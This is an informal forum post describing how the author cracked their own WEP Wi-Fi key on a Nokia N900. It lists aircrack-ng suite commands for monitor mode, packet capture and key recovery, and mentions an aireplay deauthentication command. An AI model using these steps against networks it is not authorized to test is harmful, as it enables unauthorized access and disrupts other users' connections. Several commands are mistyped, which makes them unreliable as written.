hallo i just like to share my experience...
N900 how to crack a WEP key with it... Today i have success of crackin my own WEP key ... exact commands
Ifconfig wlan0 down
iwconfig wlan0 mode monitor
if config wlan0 up
aireplay wlan0 -9 (note the MAC adress)
airodump-ng -w (what ever you want filename) -c (channel)
--bssid (noted mac adress) wlan0
after 1hour and 12 minutes i had 50 000 packages
ctrl+c (ctrl on the screen) aircrack-ng (name of the file you typed .cap) 1 minute after that =) i haved the correct key
Note: all that is with root access
if you do it with notebook dont use wlan0 in my ubuntu is mon0 after makin a monitor mode ... oh and there is a aireplay -0 1 -a mac adress wlan0 for deauth but if you dont know what that is you can simply w8 share your experience after tryin this ... and btw i saw that some guys in the forum says that they need some drivers for injection or something ... LIE ... maybe you ned it for WPA but no for WEP ...